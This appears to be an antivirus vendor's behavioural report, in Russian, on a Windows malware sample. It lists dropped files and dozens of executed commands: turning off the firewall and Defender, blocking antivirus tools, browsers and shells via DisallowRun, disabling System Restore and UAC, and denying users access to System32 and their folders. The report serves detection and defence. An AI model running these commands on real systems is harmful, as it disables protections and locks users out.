Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\taskkill.exe' /f /im OneDrive.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\runapp2.exe
- %TEMP%\runapp1.exe
- %TEMP%\run.vbs
- %TEMP%\run.bat
- %TEMP%\run2.bat
- %TEMP%\runapp3.exe
- nul
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\run.vbs"
- '%TEMP%\runapp3.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\run.bat" " (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisableFileSyncNGSC" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "avastui.exe" /t REG_SZ /d "avastui.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "avgui.exe" /t REG_SZ /d "avgui.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "kaspersky.exe" /t REG_SZ /d "kaspersky.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "norton.exe" /t REG_SZ /d "norton.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "mcafee.exe" /t REG_SZ /d "mcafee.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "bitdefender.exe" /t REG_SZ /d "bitdefender.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "sophos.exe" /t REG_SZ /d "sophos.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "trendmicro.exe" /t REG_SZ /d "trendmicro.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "avira.exe" /t REG_SZ /d "avira.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "panda.exe" /t REG_SZ /d "panda.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "f-secure.exe" /t REG_SZ /d "f-secure.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "fortinet.exe" /t REG_SZ /d "fortinet.exe" /f
- '<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /inheritance:r /grant:r user:R /deny:r *S-1-1-0:(W)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "zonealarm.exe" /t REG_SZ /d "zonealarm.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "quickheal.exe" /t REG_SZ /d "quickheal.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "chrome.exe" /t REG_SZ /d "chrome.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "firefox.exe" /t REG_SZ /d "firefox.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "msedge.exe" /t REG_SZ /d "msedge.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "safari.exe" /t REG_SZ /d "safari.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "opera.exe" /t REG_SZ /d "opera.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "edge.exe" /t REG_SZ /d "edge.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "runapp1.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "runapp2.exe" /f
- '<SYSTEM32>\icacls.exe' "%HOMEPATH%\Documents" /inheritance:r /deny user:(OI)(CI)F
- '<SYSTEM32>\icacls.exe' "%HOMEPATH%\Downloads" /inheritance:r /deny user:(OI)(CI)F
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDrive" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "webroot.exe" /t REG_SZ /d "webroot.exe" /f
- '<SYSTEM32>\sc.exe' config Schedule start= disabled
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\timeout.exe' /t 120 /nobreak
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "C:\Program Files" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "C:\Program Files (x86)" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "3" /t REG_SZ /d "C:\Program Files" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "4" /t REG_SZ /d "*.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoChangingWallpaper" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktopBackground" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetWallpaper" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoChangingLockScreen" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\cimv2\security\microsoftvolume\systems security set "SystemRestore.DisableSR = true"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d ""<SYSTEM32>"\cmd.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "3" /t REG_SZ /d ""<SYSTEM32>"\powershell.exe" /f
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\ExploitGuard" /v "ExploitGuardEnabled" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>" /inheritance:r /deny user:(OI)(CI)F
- '<SYSTEM32>\sc.exe' config srservice start= disabled
- '<SYSTEM32>\sc.exe' stop srservice
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\sc.exe' stop Schedule
- '<SYSTEM32>\gpupdate.exe' /force
